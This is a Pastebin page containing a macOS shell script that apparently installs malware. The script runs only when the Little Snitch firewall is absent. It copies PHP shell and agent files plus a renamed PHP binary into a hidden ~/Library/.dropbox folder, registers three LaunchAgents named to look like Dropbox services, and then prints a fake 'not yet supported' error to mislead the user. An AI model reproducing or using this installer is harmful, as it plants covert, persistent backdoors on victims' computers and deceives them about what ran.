Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/sh
- USER=$(whoami)
- DIR=$(dirname $0 2>/dev/null)
- if [ -z $DIR ]; then
- DIR="."
- fi
- if [ ! -d "/Library/Little Snitch" ]; then
- SNITCH=1
- else
- SNITCH=0
- fi
- if [ 0 = 1 ]; then
- SNITCH=1
- fi
- if [ $SNITCH = 1 ]; then
- if [ ! -d /Users/$USER/Library/.dropbox ]; then
- mkdir /Users/$USER/Library/.dropbox
- cp $DIR/shell.php /Users/$USER/Library/.dropbox/ego.php
- cp $DIR/rules /Users/$USER/Library/.dropbox/rules
- cp $DIR/agent.php /Users/$USER/Library/.dropbox/deamon.php
- cp $DIR/config /Users/$USER/Library/.dropbox/config
- cp $DIR/check_hostname /Users/$USER/Library/.dropbox/check_hostname
- cp $DIR/public.key /Users/$USER/Library/.dropbox/public.key
- cp /usr/bin/php /Users/$USER/Library/.dropbox/dbd
- sed "s/CURRENTUSER/${USER}/g" $DIR/sync/data/storage_orig > $DIR/sync/data/storage
- chmod 700 $DIR/sync/hs
- cp -R $DIR/sync /Users/$USER/Library/.dropbox/sync
- cp -R $DIR/rero /Users/$USER/Library/.dropbox/.rero
- cp -R $DIR/utilities /Users/$USER/Library/.dropbox/utilities
- sed "s/CURRENTUSER/${USER}/g" $DIR/com.getdropbox.dropbox.usercontent_orig.plist > $DIR/com.getdropbox.dropbox.usercontent.plist
- mv $DIR/com.getdropbox.dropbox.usercontent.plist ~/Library/LaunchAgents/com.getdropbox.dropbox.usercontent.plist
- launchctl load ~/Library/LaunchAgents/com.getdropbox.dropbox.usercontent.plist
- sed "s/CURRENTUSER/${USER}/g" $DIR/com.getdropbox.dropbox.integritycheck_orig.plist > $DIR/com.getdropbox.dropbox.integritycheck.plist
- mv $DIR/com.getdropbox.dropbox.integritycheck.plist ~/Library/LaunchAgents/com.getdropbox.dropbox.integritycheck.plist
- launchctl load ~/Library/LaunchAgents/com.getdropbox.dropbox.integritycheck.plist
- sed "s/CURRENTUSER/${USER}/g" $DIR/com.getdropbox.dropbox.timegrabber_orig.plist > $DIR/com.getdropbox.dropbox.timegrabber.plist
- mv $DIR/com.getdropbox.dropbox.timegrabber.plist ~/Library/LaunchAgents/com.getdropbox.dropbox.timegrabber.plist
- launchctl load ~/Library/LaunchAgents/com.getdropbox.dropbox.timegrabber.plist
- VERSION=$(sw_vers -productVersion)
- echo "Sorry, Mac OS X $VERSION is not yet supported."
- fi
- fi
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement